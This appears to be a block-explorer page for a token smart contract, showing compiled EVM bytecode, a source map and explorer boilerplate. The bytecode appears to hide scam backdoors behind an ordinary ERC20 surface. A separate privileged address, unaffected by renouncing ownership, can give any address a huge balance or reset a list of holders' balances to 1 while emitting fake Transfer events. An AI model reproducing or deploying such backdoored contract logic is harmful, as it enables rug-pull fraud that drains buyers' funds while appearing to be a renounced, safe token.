565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103bb3384846109e9565b5060015b92915050565b5f6103d26009600a610f3a565b6103e19064e8d4a51000610f48565b905090565b5f6103f2848484610b0d565b6001600160a01b0384165f9081526004602090815260408083203380855292529091205461042b9186916104269086610bd4565b6109e9565b5060019392505050565b5f546001600160a01b0316331461044a575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6005546001600160a01b031633146104a8575f5ffd5b5f5b8181101561056e57600160035f8585858181106104c9576104c9610f5f565b90506020020160208101906104de9190610d48565b6001600160a01b0316815260208101919091526040015f9081209190915583838381811061050e5761050e610f5f565b90506020020160208101906105239190610d48565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161055e91815260200190565b60405180910390a36001016104aa565b505050565b60606002805461032e90610e0b565b6005546001600160a01b03163314610598575f5ffd5b6105a46009600a610f3a565b6105b06009600a610f3a565b6105bf9064e8d4a51000610f48565b6105c99190610f48565b6001600160a01b0382165f818152600360205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6106116009600a610f3a565b61061d6009600a610f3a565b61062c9064e8d4a51000610f48565b6106369190610f48565b60405190815260200160405180910390a350565b5f6103bb338484610b0d565b5f546001600160a01b0316331461066b575f5ffd5b600754600160a01b900460ff16156106ca5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600680546001600160a01b03191673a6ad18c2ac47803e193f75c3677b14bf19b948839081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561072c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107509190610f73565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107af573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d39190610f73565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561081d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108419190610f73565b600780546001600160a01b0319166001600160a01b03928316179055600654610882913091166108736009600a610f3a565b6104269064e8d4a51000610f48565b6006546001600160a01b031663f305d71947306108b3816001600160a01b03165f9081526003602052604090205490565b5f5f6108c65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092c573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109519190610f8e565b50506007805460ff60a01b1916600160a01b17905550565b5f546001600160a01b0316331461097e575f5ffd5b6001600160a01b038116610990575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a4b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106c1565b6001600160a01b038216610aac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106c1565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b1f575f5ffd5b6001600160a01b038216610b31575f5ffd5b6001600160a01b0383165f90815260036020526040902054610b539082610bd4565b6001600160a01b038085165f908152600360205260408082209390935590841681522054610b819082610c36565b6001600160a01b038084165f8181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b009085815260200190565b5f82821115610c255760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016106c1565b610c2f8284610fb9565b9392505050565b5f80610c428385610fcc565b905083811015610c2f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106c1565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610cdd575f5ffd5b50565b5f5f60408385031215610cf1575f5ffd5b8235610cfc81610cc9565b946020939093013593505050565b5f5f5f60608486031215610d1c575f5ffd5b8335610d2781610cc9565b92506020840135610d3781610cc9565b929592945050506040919091013590565b5f60208284031215610d58575f5ffd5b8135610c2f81610cc9565b5f5f60208385031215610d74575f5ffd5b823567ffffffffffffffff811115610d8a575f5ffd5b8301601f81018513610d9a575f5ffd5b803567ffffffffffffffff811115610db0575f5ffd5b8560208260051b8401011115610dc4575f5ffd5b6020919091019590945092505050565b5f5f60408385031215610de5575f5ffd5b8235610df081610cc9565b91506020830135610e0081610cc9565b809150509250929050565b600181811c90821680610e1f57607f821691505b602082108103610e3d57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e9257808504811115610e7657610e76610e43565b6001841615610e8457908102905b60019390931c928002610e5b565b935093915050565b5f82610ea8575060016103bf565b81610eb457505f6103bf565b8160018114610eca5760028114610ed457610ef0565b60019150506103bf565b60ff841115610ee557610ee5610e43565b50506001821b6103bf565b5060208310610133831016604e8410600b8410161715610f13575081810a6103bf565b610f1f5f198484610e57565b805f1904821115610f3257610f32610e43565b029392505050565b5f610c2f60ff841683610e9a565b80820281158282048414176103bf576103bf610e43565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610f83575f5ffd5b8151610c2f81610cc9565b5f5f5f60608486031215610fa0575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103bf576103bf610e43565b808201808211156103bf576103bf610e4356fea264697066735822122089f8fe8fc4de215fd5fd952a1578607cc13b06a5a77acedee9ee2a6c1918538164736f6c634300081c003389a32e1c29e646fad701d1c8d0dc9b6560d3e6bc99404f2032db0696952b812d212e56424155ad6c0388f4d24c757a597ed2c40f2f3c6da95b15e3a62db87ec38be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efc939d25d7e35437f22c47f324a2c10f39b73290093ac9388ba079edf58f1ddaaa2646970667358221220aeff86f6cde45aa052f6ef67bf79b6e3362ea4af63e4b67ff8e9888f6c99531964736f6c634300081c0033

Deployed Bytecode Sourcemap

8816:690:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8855:24;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;8855:24:0;;;;;;;;9050:416;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;1940:32:1;;;1922:51;;1910:2;1895:18;9050:416:0;1776:203:1;9050:416:0;9194:7;9235:9;;9222;:22;9214:31;;;;;;9256:24;9312:9;9323:5;9330:7;9339:9;9283:66;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;9256:93;;9365:58;9386:8;9397:5;9404:7;9413:9;9365:58;;;;;;;;;:::i;:::-;;;;;;;;9449:8;9050:416;-1:-1:-1;;;;9050:416:0:o;-1:-1:-1:-;;;;;;;;:::o;196:127:1:-;257:10;252:3;248:20;245:1;238:31;288:4;285:1;278:15;312:4;309:1;302:15;328:726;371:5;424:3;417:4;409:6;405:17;401:27;391:55;;442:1;439;432:12;391:55;482:6;469:20;512:18;504:6;501:30;498:56;;;534:18;;:::i;:::-;583:2;577:9;675:2;637:17;;-1:-1:-1;;633:31:1;;;666:2;629:40;625:54;613:67;;710:18;695:34;;731:22;;;692:62;689:88;;;757:18;;:::i;:::-;793:2;786:22;817;;;858:19;;;879:4;854:30;851:39;-1:-1:-1;848:59:1;;;903:1;900;893:12;848:59;967:6;960:4;952:6;948:17;941:4;933:6;929:17;916:58;1022:1;994:19;;;1015:4;990:30;983:41;;;;998:6;328:726;-1:-1:-1;;;328:726:1:o;1059:712::-;1156:6;1164;1172;1225:2;1213:9;1204:7;1200:23;1196:32;1193:52;;;1241:1;1238;1231:12;1193:52;1281:9;1268:23;1314:18;1306:6;1303:30;1300:50;;;1346:1;1343;1336:12;1300:50;1369;1411:7;1402:6;1391:9;1387:22;1369:50;:::i;:::-;1359:60;;;1472:2;1461:9;1457:18;1444:32;1501:18;1491:8;1488:32;1485:52;;;1533:1;1530;1523:12;1485:52;1556;1600:7;1589:8;1578:9;1574:24;1556:52;:::i;:::-;1546:62;-1:-1:-1;;1658:2:1;1643:18;;1630:32;-1:-1:-1;;;;;1691:31:1;;1681:42;;1671:70;;1737:1;1734;1727:12;1671:70;1760:5;1750:15;;;1059:712;;;;;:::o;1984:289::-;2026:3;2064:5;2058:12;2091:6;2086:3;2079:19;2147:6;2140:4;2133:5;2129:16;2122:4;2117:3;2113:14;2107:47;2199:1;2192:4;2183:6;2178:3;2174:16;2170:27;2163:38;2262:4;2255:2;2251:7;2246:2;2238:6;2234:15;2230:29;2225:3;2221:39;2217:50;2210:57;;;1984:289;;;;:::o;2278:480::-;2503:2;2492:9;2485:21;2466:4;2529:45;2570:2;2559:9;2555:18;2547:6;2529:45;:::i;:::-;2622:9;2614:6;2610:22;2605:2;2594:9;2590:18;2583:50;2650:33;2676:6;2668;2650:33;:::i;:::-;2642:41;;;2748:1;2744;2739:3;2735:11;2731:19;2723:6;2719:32;2714:2;2703:9;2699:18;2692:60;2278:480;;;;;;:::o;2763:579::-;-1:-1:-1;;;;;3016:32:1;;2998:51;;3085:3;3080:2;3065:18;;3058:31;;;-1:-1:-1;;3112:46:1;;3138:19;;3130:6;3112:46;:::i;:::-;3206:9;3198:6;3194:22;3189:2;3178:9;3174:18;3167:50;3234:33;3260:6;3252;3234:33;:::i;:::-;3226:41;;;3332:1;3328;3323:3;3319:11;3315:19;3307:6;3303:32;3298:2;3287:9;3283:18;3276:60;2763:579;;;;;;;:::o

Swarm Source

ipfs://aeff86f6cde45aa052f6ef67bf79b6e3362ea4af63e4b67ff8e9888f6c995319

Block Transaction Gas Used Reward
view all blocks produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.